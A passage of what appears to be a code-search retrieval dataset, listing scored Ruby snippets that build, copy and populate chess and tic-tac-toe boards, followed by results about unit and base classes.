Square.new(Queen.new(:white, [7, 4])),\n Square.new(Bishop.new(:white, [7, 5])),\n Square.new(Knight.new(:white, [7, 6])),\n Square.new(Rook.new(:white, [7, 7]))\n ]\n ]\n end", "title": "" }, { "docid": "58ab932facff92f040e31052d8d4c4c2", "score": "0.73806465", "text": "def initialize\n @new_board = Board.new\n end", "title": "" }, { "docid": "52b70b0e966103bd39ba3c6960eaf547", "score": "0.7367725", "text": "def new_board\n Array.new(@world.grid.size) do # build each cols L to R\n Array.new(@world.grid[0].size) do # insert cells in each col\n 0\n end\n end\n end", "title": "" }, { "docid": "2b6d22787b62cf9e8c2287f2109d8967", "score": "0.7354493", "text": "def create_board\r\n board = Array.new(8)\r\n board.map! { |element| element = Array.new(8)}\r\n board\r\n end", "title": "" }, { "docid": "4b59d21eb2d3f1c978e45beec93449e6", "score": "0.73522675", "text": "def board_new\n\t\n#\t@board1 = [1, 2, 3]\n#\t@board2 = [4, 5, 6]\n#\t@board3 = [7, 8, 9]\n\t@board_index = [[1,2,3],[4,5,6],[7,8,9]]\n\t\n\tboard_display @board_index\n\treturn @board_index\nend", "title": "" }, { "docid": "75b421ee1779a61c5927de97fb62875c", "score": "0.73314965", "text": "def copy_board\n\n # copy the data to a new board\n copy = Board.new(EmptyState)\n (0..7).each do |x|\n (0..7).each do |y|\n pos = [x, y]\n piece = self[pos]\n\n next if piece.nil?\n copy[pos] = piece.class.new(copy, pos, piece.color)\n end\n end\n copy\n end", "title": "" }, { "docid": "a61a038fca72a7a269fa455d56ad14c2", "score": "0.73110145", "text": "def new_board()\n\t\t@default_box = \" - \"\n\t\tblank_board = Hash.new\n\t\ti = 1\n\t\twhile i < 10\n\t\t\tblank_board[i] = @default_box\n\t\t\ti += 1\n\t\tend\n\t\treturn blank_board\n\tend", "title": "" }, { "docid": "57e8cbd5d92766bb967a4d152ad094a2", "score": "0.7301502", "text": "def copy\n position = @grid.clone\n new_board = Board.new(@size, position)\n end", "title": "" }, { "docid": "a34c9042d52e209727874044a8c8af02", "score": "0.72969246", "text": "def new_board(x, y)\n board = []\n y.times do\n row = []\n x.times { row << Cell.new }\n board << row\n end\n board\n end", "title": "" }, { "docid": "0cf0b5e5e4ae6da3434af03322027aca", "score": "0.7292183", "text": "def get_board()\n #puts \"loading board, state: #{state}\"\n list = state.split(\":\")\n load_list = []\n list.each do |piece_list|\n piece_list = piece_list.split(\",\")\n \n piece_list[2] = \"black\" if piece_list[2] == \"0\"\n piece_list[2] = \"white\" if piece_list[2] == \"1\"\n \n piece_list[0] = piece_list[0].to_i\n piece_list[1] = piece_list[1].to_i\n piece_list[3] = piece_list[3].to_i\n \n load_list.push(piece_list)\n end\n board = GameBoard.new\n board.set_turn(turn)\n #puts load_list\n board.fill_board(load_list)\n return board\n end", "title": "" }, { "docid": "f159c01278ecbbf1f975ebad26579ed4", "score": "0.72748536", "text": "def board\n end", "title": "" }, { "docid": "4796ba25e83fa07f738531a62d593561", "score": "0.72641706", "text": "def createBoard\n\tboard = [[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0]]\n\treturn addVal(addVal(board))\nend", "title": "" }, { "docid": "5e84eaf0e5f88d2ee7b76508d437d395", "score": "0.72410095", "text": "def dup\n duped_board = Board.new(false)\n\n self.pieces.each do |piece| \n pos = piece.pos\n duped_board[pos] = piece.class.new(piece.pos, duped_board, piece.color) \n end\n \n duped_board\n end", "title": "" }, { "docid": "458a08a02bae544ea337bc7f61f14dce", "score": "0.7193474", "text": "def board\n\n end", "title": "" }, { "docid": "458a08a02bae544ea337bc7f61f14dce", "score": "0.7193474", "text": "def board\n\n end", "title": "" }, { "docid": "760b414026f30803bd3932094954185b", "score": "0.719329", "text": "def initalize_board\n\t\t@board = Board.new()\n\tend", "title": "" }, { "docid": "fba6a74093ee2ac7be381267caf5a6cb", "score": "0.7181883", "text": "def make_board\n @board = {\n \"1\" => \" \",\n \"2\" => \" \",\n \"3\" => \" \",\n \"4\" => \" \",\n \"5\" => \" \",\n \"6\" => \" \",\n \"7\" => \" \",\n \"8\" => \" \",\n \"9\" => \" \",\n }\n end", "title": "" }, { "docid": "a4352d4f7e76f96058372e2d4c384d58", "score": "0.71806264", "text": "def dup\n dup_board = Board.new(false)\n 8.times do |row_index|\n 8.times do |col_index|\n\n current_pos = [row_index, col_index]\n if self[current_pos].is_a?(Piece)\n dup_board[current_pos] = self[current_pos].dup(dup_board)\n else\n dup_board[current_pos] = \" \"\n end\n end\n end\n\n dup_board\n end", "title": "" }, { "docid": "0a994eca7c5bc768afd0a02a68c91e1d", "score": "0.71730536", "text": "def create_board\n\t\t\t# Set up board of empty nodes\n\t\t\t@board = []\n\t\t\t8.times do |y|\n\t\t\t\t@board[y] = []\n\t\t\t\t8.times do |x|\n\t\t\t\t\t@board[y][x] = Node.new\n\t\t\t\tend\n\t\t\tend\n\t\t\t# Set white pieces in nodes\n\t\t\twhite_pieces = [\"\\u265c\", \"\\u265e\", \"\\u265d\", \"\\u265b\", \"\\u265a\", \"\\u265d\", \"\\u265e\", \"\\u265c\"]\n\t\t\tnames = [\"rook\", \"knight\", \"bishop\", \"queen\", \"king\", \"bishop\", \"knight\", \"rook\"]\n\t\t\t8.times do |x|\n\t\t\t\t@board[0][x].chess_piece = white_pieces[x]\n\t\t\t\t@board[0][x].chess_color = \"white\"\n\t\t\t\t@board[0][x].chess_name = names[x]\n\t\t\tend\n\t\t\t8.times do |x|\n\t\t\t\t@board[1][x].chess_piece = \"\\u265f\"\n\t\t\t\t@board[1][x].chess_color = \"white\"\n\t\t\t\t@board[1][x].chess_name = \"pawn\"\n\t\t\tend\n\t\t\t# Set black pieces in nodes\n\t\t\tblack_pieces = [\"\\u2656\", \"\\u2658\", \"\\u2657\", \"\\u2655\", \"\\u2654\", \"\\u2657\", \"\\u2658\", \"\\u2656\"]\n \t\t\t8.times do |x|\n\t\t\t\t@board[7][x].chess_piece = black_pieces[x]\n\t\t\t\t@board[7][x].chess_color = \"black\"\n\t\t\t\t@board[7][x].chess_name = names[x]\n\t\t\tend\n\t\t\t8.times do |x|\n\t\t\t\t@board[6][x].chess_piece = \"\\u2659\"\n\t\t\t\t@board[6][x].chess_color = \"black\"\n\t\t\t\t@board[6][x].chess_name = \"pawn\"\n\t\t\tend\n\t\t\t@board\n\t\tend", "title": "" }, { "docid": "fbb6b31b275d375ed5eeffd5d25e125b", "score": "0.71606594", "text": "def update_board\n @board = Board.new game\n end", "title": "" }, { "docid": "0ffb17d47e035566d3d892557cc84f40", "score": "0.71588296", "text": "def create_new_board(size)\n @rendered_board = @board.create_board(size)\n end", "title": "" }, { "docid": "fb662ae5a509662e70f97f844f889061", "score": "0.7132481", "text": "def dup\n dup_board = Board.new \n @board.each do |row|\n (0...row.length).each do |col|\n pos = [row,col]\n dup_board[pos] = @board[pos].dup\n end\n end \n \n dup_board\n end", "title": "" }, { "docid": "c91eee5b21b4b59cbd4388f7373457ef", "score": "0.71167475", "text": "def board\n @board ||= Board.new(gets.chomp.to_i)\n end", "title": "" }, { "docid": "ac1d74057e03836cad8fbda1cfed14e9", "score": "0.71163255", "text": "def moves(player)\n Board.new\n end", "title": "" }, { "docid": "4d8a2c0e1bb6d2090ee4cb207a993566", "score": "0.7100875", "text": "def board\n return @board if @board\n @board = Board.find(board_id)\n end", "title": "" }, { "docid": "4d8a2c0e1bb6d2090ee4cb207a993566", "score": "0.7100875", "text": "def board\n return @board if @board\n @board = Board.find(board_id)\n end", "title": "" }, { "docid": "4d8a2c0e1bb6d2090ee4cb207a993566", "score": "0.7100875", "text": "def board\n return @board if @board\n @board = Board.find(board_id)\n end", "title": "" }, { "docid": "9969c465e4de7cc87a20da4c73f86c77", "score": "0.70826834", "text": "def dup\n LightsOnBoard.new num_moves, tiles\n end", "title": "" }, { "docid": "98921a49b924342e94e21db4b96bfa49", "score": "0.70823306", "text": "def copy\n board = Board.new\n board.white_king = @white_king\n board.black_king = @black_king\n\n (0..7).each do |x|\n (0..7).each do |y|\n piece = @squares[x][y]\n next if piece == nil\n new_piece = piece.class.new(Board.to_alg(piece.position), piece.side, board)\n new_piece.moved = piece.moved\n new_piece.attacked = piece.attacked\n end\n end\n board\n end", "title": "" }, { "docid": "1ae8e22402c1725ed54195ea89f3031b", "score": "0.707804", "text": "def dup\n new_rows = Array.new(15).map.with_index do |row, row_idx|\n source_row = @rows[row_idx]\n row = Array.new(15).map.with_index do |cell, col_idx|\n source_row[col_idx]\n end\n end\n Board.new(new_rows)\n end", "title": "" }, { "docid": "bd4febabf8e05e5c8decc49c31f56d7b", "score": "0.70717204", "text": "def create_board\n @board = nil\n if @opts[:csp]\n if @opts[:ordered]\n @board = OrderedCSPChess.new(@opts[:queens], @opts[:random], @opts[:verbose])\n else\n @board = CSPChess.new(@opts[:queens], @opts[:random], @opts[:verbose])\n end\n else\n if @opts[:ordered]\n @board = OrderedSimpleChess.new(@opts[:queens], @opts[:random], @opts[:verbose])\n else\n @board = SimpleChess.new(@opts[:queens], @opts[:random], @opts[:verbose])\n end\n end\n end", "title": "" }, { "docid": "0741d5dad1e958cd07f9722fdabe3fac", "score": "0.7069787", "text": "def build_chess_board(board = {})\n 64.times do |i|\n coordinates = create_board_coordinates(i)\n\n position = convert_to_piece_position(coordinates)\n\n board.store(position, { 'square' => ' ', 'col_ind' => coordinates.pop, 'row_ind' => coordinates.pop })\n end\n board\n end", "title": "" }, { "docid": "abdc81f0e5e53cb74914c4c47087509a", "score": "0.70592326", "text": "def get_board\n Array.new(@board)\n end", "title": "" }, { "docid": "c891b4990ab31889e0eb22ef0c05211d", "score": "0.7045363", "text": "def new_game\n\t\tcreate_board\n\t\tdisplay_board\n\tend", "title": "" }, { "docid": "852fd407d6020416638e7fcb948e0ad7", "score": "0.7028171", "text": "def new_board(&block)\n dup.tap do |nb|\n nb.instance_eval do\n instance_eval &block # rubocop:disable AmbiguousOperator\n\n do_automatic_moves\n end\n end\n end", "title": "" }, { "docid": "a0d77aafeba6ea709dda44453a9ba194", "score": "0.7015631", "text": "def make_board\n\t\t(1..8).each do |x|\n (1..8).each do |y|\n \t@positions << [x,y]\n @board[[x,y]] = Square.new\n end\n end\n @board[[1,1]] = Rook.new([1,1], 'black')\n @board[[2,1]] = Knight.new([2,1], 'black')\n @board[[3,1]] = Bishop.new([3,1], 'black')\n @board[[4,1]] = Queen.new([4,1], 'black')\n @board[[5,1]] = King.new([5,1], 'black')\n @board[[6,1]] = Bishop.new([6,1], 'black')\n @board[[7,1]] = Knight.new([7,1], 'black')\n @board[[8,1]] = Rook.new([8,1], 'black')\n @board[[1,2]] = Pawn.new([1,2], 'black')\n @board[[2,2]] = Pawn.new([2,2], 'black')\n @board[[3,2]] = Pawn.new([3,2], 'black')\n @board[[4,2]] = Pawn.new([4,2], 'black')\n @board[[5,2]] = Pawn.new([5,2], 'black')\n @board[[6,2]] = Pawn.new([6,2], 'black')\n @board[[7,2]] = Pawn.new([7,2], 'black')\n @board[[8,2]] = Pawn.new([8,2], 'black') \n\n @board[[1,8]] = Rook.new([1,8], 'white')\n @board[[2,8]] = Knight.new([2,8], 'white')\n @board[[3,8]] = Bishop.new([3,8], 'white')\n @board[[4,8]] = Queen.new([4,8], 'white')\n @board[[5,8]] = King.new([5,8], 'white')\n @board[[6,8]] = Bishop.new([6,8], 'white')\n @board[[7,8]] = Knight.new([7,8], 'white')\n @board[[8,8]] = Rook.new([8,8], 'white')\n @board[[1,7]] = Pawn.new([1,7], 'white')\n @board[[2,7]] = Pawn.new([2,7], 'white')\n @board[[3,7]] = Pawn.new([3,7], 'white')\n @board[[4,7]] = Pawn.new([4,7], 'white')\n @board[[5,7]] = Pawn.new([5,7], 'white')\n @board[[6,7]] = Pawn.new([6,7], 'white')\n @board[[7,7]] = Pawn.new([7,7], 'white')\n @board[[8,7]] = Pawn.new([8,7], 'white') \n\n get_all_moves\n\tend", "title": "" }, { "docid": "8ab19ad9db0ab64dce779ea8c02a7fcd", "score": "0.70156217", "text": "def create_board\n\t\t@board = []\n\t\t@board_coord = []\n\t\ti = 0\n\t\t8.times do |y|\n\t\t\t8.times do |x|\n\t\t\t\t@board[i] = Node.new([x,y], i)\n\t\t\t\t# Add just the coordinates to another array. Makes looking through them later much easier\n\t\t\t\t@board_coord << [x,y]\n\t\t\t\ti += 1\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "54d262d338d5550ff93d79c68c768fbe", "score": "0.70052874", "text": "def new_board(index)\n board = \"\" # << Need to keep empty board if starting at first index\n board = @board.slice(0..index - 1) if index > 0 # Get the board before the index\n @player == 0 ? board << \"X\" : board << \"O\" # Insert player move\n board << @board.slice(index + 1..-1) # Get the board after the index\n board\n end", "title": "" }, { "docid": "656f07f64d45c898628defb02e52bfa8", "score": "0.7003188", "text": "def clone_board(board)\n Marshal.load(Marshal.dump(board))\nend", "title": "" }, { "docid": "24b3ec3af5dae4c83d8fb4e5c608c8bb", "score": "0.69960076", "text": "def create_board(id: nil, name: \"New OOC Board\", closed: false, ic: false, order: 1)\n if id\n Board.create_with(closed: closed, order: order, in_character: ic).find_or_create_by!(id: id, name: name)\n else\n Board.create_with(closed: closed, order: order, in_character: ic).find_or_create_by!(name: name)\n end\n end", "title": "" }, { "docid": "d75b6725c2729a9a1b2ab523c4215946", "score": "0.6981045", "text": "def new_board(size)\n board = Array.new(size[0]) do\n Array.new(size[1]) do\n Cell.new\n end\n end\n board\n end", "title": "" }, { "docid": "18c0641eaf51ef60813187c3a2e290b2", "score": "0.69682807", "text": "def change_board(board, row, col, player)\n # don't worry about this next line yet\n new_board = board.map(&:clone)\n\n # Since the user enters the row and column values, we need to make sure\n # they are valid (i.e. between 0 and 2)\n # if ______ or ______ or ______ or _______\n # raise _______\n # end\n\n # before we place a piece, we need to make sure it isn't already taken\n # if __________\n # uncomment the next line and fill in the blanks:\n # new_board[____][____] = _____\n # else\n # raise ArgumentError.new('Space already occupied')\n # end\n\n return new_board\nend", "title": "" }, { "docid": "98a2527ea6d113b2701b65a82c30d9f0", "score": "0.69474316", "text": "def board\n boards[move]\n end", "title": "" }, { "docid": "064aa34877d686feb609ca2ebdb4ac7d", "score": "0.69401187", "text": "def board_copy\n return @board.deep_dup\n end", "title": "" }, { "docid": "9aea700175619367181a45f0bd8ff0cc", "score": "0.6939646", "text": "def create_board\n board = \"\"\n horizontal_border = \"---+---+---\"\n\n @cells.each_with_index do |row, col|\n row.each_with_index do |cell, i|\n unless i == 0\n board << \"|\"\n end\n if cell.state == \"X\"\n color = :red\n elsif cell.state == \"O\"\n color = :blue\n end\n board << \" #{cell.state} \".colorize(color)\n end\n unless col == 2\n board << \"\\n#{horizontal_border}\\n\"\n end\n end\n\n board\n end", "title": "" }, { "docid": "e314687483d6e36817c4eabac1b529c7", "score": "0.69350886", "text": "def board\n return @board if @board\n @board = Client.get(\"/actions/#{id}/board\").json_into(Board)\n end", "title": "" }, { "docid": "3917242e80841b047c1a304b61d85f6c", "score": "0.69111896", "text": "def populate_board\n @rows.each_with_index do |row, row_idx|\n if row_idx == 0 || row_idx == 1\n row.each_with_index do |piece, col_idx|\n piece = Piece.new(:black, self, [row_idx, col_idx])\n\n @rows[row_idx][col_idx] = piece\n end\n # elsif row_idx.between?(3,5)\n # row.each_with_index do |piece, col_idx|\n # piece = Piece.new(:black, self, [row_idx, col_idx])\n # end\n # end\n elsif row_idx.between?(6,7)\n row.each_with_index do |piece, col_idx|\n piece = Piece.new(:white, self, [row_idx, col_idx])\n\n @rows[row_idx][col_idx] = piece\n end\n end\n end\n end", "title": "" }, { "docid": "def39c19a0d6c5271e1864cd37b12b40", "score": "0.6907759", "text": "def create_new_board\n\t\toutput = []\n\t\tNUM_ROWS.times do |row|\n\t\t\toutput[row] = []\n\t\t\tNUM_COLUMNS.times do\n\t\t\t\toutput[row] << \"-\"\n\t\t\tend\n\t\tend\n\t\t# Add a footer row\n\t\toutput[NUM_ROWS] = (1..NUM_COLUMNS).to_a.map(&:to_s)\n\t\toutput\n\tend", "title": "" }, { "docid": "2cbaf55215b582650a8eb178d2ef5127", "score": "0.69011503", "text": "def dup\n dup_board = Board.new(false)\n \n @grid.flatten.compact.each do |piece|\n piece.dup(dup_board)\n end\n \n dup_board\n end", "title": "" }, { "docid": "9329c30bba03b99f070ee73c58cabbe7", "score": "0.69006276", "text": "def dup\n #after duplicating board,\n end", "title": "" }, { "docid": "995edc5ba38c5d534b421294a13a10a4", "score": "0.68925303", "text": "def getBoard()\n return @board\n end", "title": "" }, { "docid": "0da9c53bfc9a1db39d24d49b1b2c6c81", "score": "0.6890604", "text": "def new\n x = 20\n y = 10\n colors = 12\n pairs = 85\n seed = rand(1000000)\n board = ColorTileLogic::Board.new(x, y, colors, pairs, seed)\n render json: board.to_json\n end", "title": "" }, { "docid": "bbf41c745eba0fa2f996aa87fc16609d", "score": "0.6885385", "text": "def dup\n new_grid = Array.new(8) {Array.new(8)}\n @grid.each_with_index do |row, i|\n row.each_with_index do |el, j|\n if el && el.class != NullPiece\n copy = el.dup\n copy.pos = el.pos.dup\n end\n new_grid[i][j] = copy\n end\n end\n Board.new(new_grid)\n end", "title": "" }, { "docid": "cb248cf960661c91f4eb1c7705d3d735", "score": "0.6879111", "text": "def altered_board\n board.clone.tap do |new_board|\n piece = board.jeporadized_pieces.first\n new_move = move_dest(piece)\n new_board.move_piece(piece, new_move)\n end\n end", "title": "" }, { "docid": "2524eeb679018a518fdabeee3e58db7f", "score": "0.68777347", "text": "def clone\n # REFACTOR:\n # why doesn't self.new work?\n SmartSudokuBoard.new(@board.dup)\n end", "title": "" }, { "docid": "1321b1979fe404606efa65c16889f593", "score": "0.6871959", "text": "def create_starting_board\n #place first and last row\n [\"Castle\",\"Knight\",\"Bishop\",\"Queen\",\"King\",\"Bishop\",\"Knight\",\"Castle\"].each_with_index do |piece, col|\n @grid[0][col] = Piece.const_get(piece).new('black', [0,col], self)\n @grid[7][col] = Piece.const_get(piece).new('white', [7,col], self)\n end\n #place pawn rows\n 8.times do |col|\n @grid[1][col] = Pawn.new('black', [1, col], self)\n @grid[6][col] = Pawn.new('white', [6, col], self)\n end\n end", "title": "" }, { "docid": "36f1d1596de60c253c273a8f0b1a826f", "score": "0.6869729", "text": "def new_game\n\t\t@gameboard = Gameboard.new\n\t\t@pieces = [\n\t\t\tPiece.new(:king,:white,[:E,1]), Piece.new(:queen,:white,[:D,1]),\n\t\t\tPiece.new(:rook,:white,[:H,1]), Piece.new(:rook,:white,[:A,1]),\n\t\t\tPiece.new(:knight,:white,[:G,1]), Piece.new(:knight,:white,[:B,1]),\n\t\t\tPiece.new(:bishop,:white,[:F,1]), Piece.new(:bishop,:white,[:C,1]),\n\t\t\tPiece.new(:pawn,:white,[:A,2]), Piece.new(:pawn,:white,[:B,2]),\n\t\t\tPiece.new(:pawn,:white,[:C,2]), Piece.new(:pawn,:white,[:D,2]),\n\t\t\tPiece.new(:pawn,:white,[:E,2]), Piece.new(:pawn,:white,[:F,2]),\n\t\t\tPiece.new(:pawn,:white,[:G,2]), Piece.new(:pawn,:white,[:H,2]),\n\t\t\tPiece.new(:king,:black,[:E,8]), Piece.new(:queen,:black,[:D,8]),\n\t\t\tPiece.new(:rook,:black,[:H,8]), Piece.new(:rook,:black,[:A,8]),\n\t\t\tPiece.new(:knight,:black,[:G,8]), Piece.new(:knight,:black,[:B,8]),\n\t\t\tPiece.new(:bishop,:black,[:F,8]), Piece.new(:bishop,:black,[:C,8]),\n\t\t\tPiece.new(:pawn,:black,[:A,7]),Piece.new(:pawn,:black,[:B,7]),\n\t\t\tPiece.new(:pawn,:black,[:C,7]), Piece.new(:pawn,:black,[:D,7]),\n\t\t\tPiece.new(:pawn,:black,[:E,7]), Piece.new(:pawn,:black,[:F,7]),\n\t\t\tPiece.new(:pawn,:black,[:G,7]), Piece.new(:pawn,:black,[:H,7])\n\t\t\t]\n\t\t@pieces.each do |piece|\n\t\t\t@gameboard.occupied_spaces << piece.position\n\t\tend\n\t\tputs \"You have started a new game of chess!\"\n\t\tputs \"Each player will take turns, starting with\"\n\t\tputs \"white, and whoever can put the other\"\n\t\tputs \"player's king in checkmate wins!\"\n\t\tgameplay_options\n\t\tturn(:white)\n\tend", "title": "" }, { "docid": "32ecf561a5b57e04961ae72177414f4b", "score": "0.686361", "text": "def board_2\n end", "title": "" }, { "docid": "63ea55aeca91a76b1e6e5e5f9e2a9d1d", "score": "0.6858145", "text": "def dup\n duped = Board.new(false)\n rows.each_with_index do |row,i|\n row.each_with_index do |el,j|\n duped[i,j] = el.class.new(duped,el.pos,el.color,el.moved)\n end\n end\n duped\n end", "title": "" }, { "docid": "6ef113937713a211f7985f18c98f7fbb", "score": "0.68580365", "text": "def populate_new_board\n arr = []\n NEW_BOARD.to_enum.with_index.map do |val, ind|\n ind == 0 ? arr << val : arr << Square.new(ind, val)\n end\n arr\n end", "title": "" }, { "docid": "f4f1a4c09e504d7f8351199da0e236d0", "score": "0.6855472", "text": "def board\n @board\n end", "title": "" }, { "docid": "9e50d0ea3a3616689a7b8705f3ac867f", "score": "0.68443435", "text": "def dup\n dupped_board = Board.new(@players)\n\n @board.each_index do |row|\n @board[row].each_with_index do |piece, col|\n pos = [row, col]\n\n new_piece = piece.nil? ? nil : piece.dup(dupped_board)\n\n dupped_board[pos] = new_piece\n end\n end\n\n dupped_board\n end", "title": "" }, { "docid": "bbe54495168dfd74579adb0a392aa64e", "score": "0.6834627", "text": "def make_board\n squares = Array.new(64)\n\n @game.pieces.each do |p|\n squares[position_to_ix(p.position)] = piece_symbol(p)\n end\n\n apply_turns squares\n\n # board = '='*16 + \"\\n\"\n html_board = \"<table class=chess>\"\n\n (7..0).step(-1).each do |r|\n html_board += \"<tr>\"\n for c in 0..7 do\n # board += ' ' + (squares[r*8+c] || '.')\n html_board += \"<td>#{squares[r*8+c]}</td>\"\n end\n # board += \"\\n\"\n html_board += \"</tr>\\n\"\n end\n # board += '='*16 + \"\\n\"\n html_board += \"</table>\\n\"\n\n end", "title": "" }, { "docid": "bf4e70cf6de88e91fdc901bd499b76c8", "score": "0.6833519", "text": "def dup(new_board)\n #assign self.board to duped_board\n\n if self.class == Pawn\n new_pawn = self.class.new(self.pos, new_board, self.color, self.first_move)\n else\n self.class.new(self.pos, new_board, self.color)\n end\n\n end", "title": "" }, { "docid": "48f0075b2d0022b75585eaf03ca0a993", "score": "0.68312836", "text": "def board\n board = ['1','2','3','4','5','6','7','8','9']\n board\nend", "title": "" }, { "docid": "d3b82a0a2cbc32cdfa121634109f1003", "score": "0.68246925", "text": "def build_board(fill_board)\n @grid = Array.new(8) { Array.new(8,null) }\n return unless fill_board == true\n fill_pawns\n fill_back_rows\n end", "title": "" }, { "docid": "826426f4d41b1b3e49d4628ba4904833", "score": "0.68244594", "text": "def dup(new_board)\n Pawn.new(color, pos.dup, new_board, initial_pos)\n end", "title": "" }, { "docid": "5d6d64f46a95401688265b8bc76e0c60", "score": "0.6823788", "text": "def clone_board(from, to)\n\t\tboard_cloned = @board.board.clone\n\t\tboard_cloned[to], board_cloned[from] = board_cloned[from], \" \"\n\t\treturn board_cloned\n\tend", "title": "" }, { "docid": "fc21ef982af1d2373c208e096101ee7b", "score": "0.68118083", "text": "def get_next board\n @next_moves = Hash.new([])\n @next_moves[:regular] = []\n end", "title": "" }, { "docid": "5298123d41db7b0b5f152b0581a5e93f", "score": "0.68102914", "text": "def create_game_board\n\t\tempty_chessboard = {}\n\t\ti = 1\n\t\twhile i < 9 do\n\t\t\tj = 1\n\t\t\twhile j < 9 do\n\t\t\t\tnew_key = [i, j]\n\t\t\t\tempty_chessboard[new_key] = nil\n\t\t\t\tj += 1\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\t\treturn empty_chessboard\n\tend", "title": "" }, { "docid": "1de2710c125f45e0bc6cc2ac1c6830f1", "score": "0.6808068", "text": "def initialize_board(white, black)\n board = []\n 8.times do\n row = []\n 8.times do\n row.push(Place.new)\n end\n board.push(row)\n end\n board[0][0].enter_place(Rook.new(white))\n board[0][1].enter_place(Knight.new(white))\n board[0][2].enter_place(Bishop.new(white))\n board[0][3].enter_place(Queen.new(white))\n board[0][4].enter_place(King.new(white))\n board[0][5].enter_place(Bishop.new(white))\n board[0][6].enter_place(Knight.new(white))\n board[0][7].enter_place(Rook.new(white))\n board[1].each do |place|\n piece = Pawn.new(white)\n place.enter_place(piece)\n end\n\n board[6].each do |place|\n piece = Pawn.new(black)\n place.enter_place(piece)\n end\n board[7][0].enter_place(Rook.new(black))\n board[7][1].enter_place(Knight.new(black))\n board[7][2].enter_place(Bishop.new(black))\n board[7][3].enter_place(Queen.new(black))\n board[7][4].enter_place(King.new(black))\n board[7][5].enter_place(Bishop.new(black))\n board[7][6].enter_place(Knight.new(black))\n board[7][7].enter_place(Rook.new(black))\n board\n end", "title": "" }, { "docid": "fd3487ea102037c8a40a4a3f4e8c2f04", "score": "0.68019027", "text": "def make_board\n\t\tpositions = []\n\t\t(0..7).each { |x| (0..7).each { |y| positions << [x,y] }}\n\t\tnodes = []\n\t\tcount = 0\n\t\tpositions.each do |x|\n\t\t\tnodes << GameNode.new(x)\n\t\t\tcount += 1\n\t\tend\n\t\tnodes\n\tend", "title": "" }, { "docid": "39dba9c6cb05c1cf0fff0d41def712cb", "score": "0.6799604", "text": "def get_board\n @board\n end", "title": "" }, { "docid": "ded43276e5e7f2eb18318fe7821202b5", "score": "0.6795798", "text": "def make_board(moves)\n moves.reduce(Board.new(10, 5)) do |board, (letter, row, col)|\n board.play_letter(letter, row, col)\n board\n end\n end", "title": "" }, { "docid": "fc41846e096048b581803e9fd2cc7a1b", "score": "0.67899984", "text": "def board\n client.get(\"/actions/#{id}/board\").json_into(Board)\n end", "title": "" } ]
142b8dd75a1a6dd4fa4889413c87188e
Return base unit class.
[ { "docid": "a98c859f9f084ac00ad40f2a0c42d68f", "score": "0.58513564", "text": "def base\n @base\n end", "title": "" } ]
[ { "docid": "c6829fbe1a5c5694981f1520441be162", "score": "0.7648388", "text": "def unit_class\n UNIT_CLASSES[ @type ]\n end", "title": "" }, { "docid": "ab3338ea4a4f4dfe7e181f07fae90083", "score": "0.73176163", "text": "def base_unit\n units[0]\n end", "title": "" }, { "docid": "fba966af312097bbeb3e930a7ed5d5f4", "score": "0.69041824", "text": "def standard_unit\n self.specimen_class ||= infer_specimen_class(self.class)\n SpecimenClass::UNIT_HASH[self.specimen_class]\n end", "title": "" }, { "docid": "15401dde2b9dc832f09970d548783917", "score": "0.6580748", "text": "def base name, options = {}\n self.base_unit = name\n unit name, Rational(1), options\n end", "title": "" }, { "docid": "10b979aafd9f5e7ca6ce48873cab6559", "score": "0.6567873", "text": "def getUnit(db, uid)\n\tunit = UnitAbstract.new(db, uid)\n\ttype = unit.type\n\t\n\tif type == 'human'\n\t\treturn UnitHuman.new(db, uid)\n\tend\n\t\n\tunit\nend", "title": "" }, { "docid": "afc50711e6cb21fa62f9885a1f28f4ca", "score": "0.6550151", "text": "def unit(name)\n Unit.new(name, self)\n end", "title": "" }, { "docid": "38078b4e2c9e6d400c359a41aee5dfee", "score": "0.63224244", "text": "def unit\n return @unit\n end", "title": "" }, { "docid": "9e3a38459d14eb59c0929bf636f1e1b4", "score": "0.6304389", "text": "def class\n (class << self; self; end).superclass\n end", "title": "" }, { "docid": "f447cf23f5a32da61a3a69ed782522c2", "score": "0.62954235", "text": "def base_class; end", "title": "" }, { "docid": "8ac364f613736875fb074e98b267c7d8", "score": "0.62944293", "text": "def class\n (class << self; self; end).superclass\n end", "title": "" }, { "docid": "2eb2376692cedef0782ec1965667dd42", "score": "0.62689424", "text": "def is_derived_unit?\n !is_base_unit?\n end", "title": "" }, { "docid": "74678fbe6c627b40ca379220be78fbe5", "score": "0.6235303", "text": "def unit\n self.dup.unit!\n end", "title": "" }, { "docid": "632a5b5517581dfab180aaa444a16b3a", "score": "0.614633", "text": "def __mock_class\n (class << self; self; end).superclass\n end", "title": "" }, { "docid": "0c4e3106220ae28962670ac42f8e8457", "score": "0.6037054", "text": "def base\n if type.base?\n self\n else\n prefix ? type.base * prefix.factor : type.base\n end\n end", "title": "" }, { "docid": "b7fe89f90589e4f2e07a1fd7728295f0", "score": "0.60145545", "text": "def base_class!\n @base_class = self\n end", "title": "" }, { "docid": "3271745a58fcbfa978b8f2d1da80cd78", "score": "0.5949865", "text": "def unit_s\n self.unit.to_s if self.unit\n end", "title": "" }, { "docid": "0059a031e9b80ac1803774e3b5f1a79d", "score": "0.59232575", "text": "def base\n self\n end", "title": "" }, { "docid": "9bcfdc2f14d51be94540191f2b267bf7", "score": "0.5910384", "text": "def base_class_name\n split('::').last\n end", "title": "" }, { "docid": "1cd759735e4cf7bd7778707a3333f725", "score": "0.5907107", "text": "def base_type\n self\n end", "title": "" }, { "docid": "2d1d123a3996c4f08ad51a170ea093e4", "score": "0.58422357", "text": "def unit_type\n return Game_Actor if battler.is_a?(Game_Actor)\n return Game_Enemy if battler.is_a?(Game_Enemy)\n return nil\n end", "title": "" }, { "docid": "15815c1747d5ad96ce0285a851cdbd3c", "score": "0.5835639", "text": "def base_class\n # create the base class file\n File.open(File.join(repo_name, 'lib', \"#{use_kata_name}.rb\"), 'w') {|f| f.write <<EOF}\nclass #{class_name}\nend\nEOF\n end", "title": "" }, { "docid": "3f7486cf6d06563eb8d238e3294d7541", "score": "0.5835265", "text": "def base_class\n unless self < Base\n raise DuckRecordError, \"#{name} doesn't belong in a hierarchy descending from DuckRecord\"\n end\n\n if superclass == Base || superclass.abstract_class?\n self\n else\n superclass.base_class\n end\n end", "title": "" }, { "docid": "77b78283d926df6afc8f37776f05fa76", "score": "0.5794975", "text": "def name\n 'base'\n end", "title": "" }, { "docid": 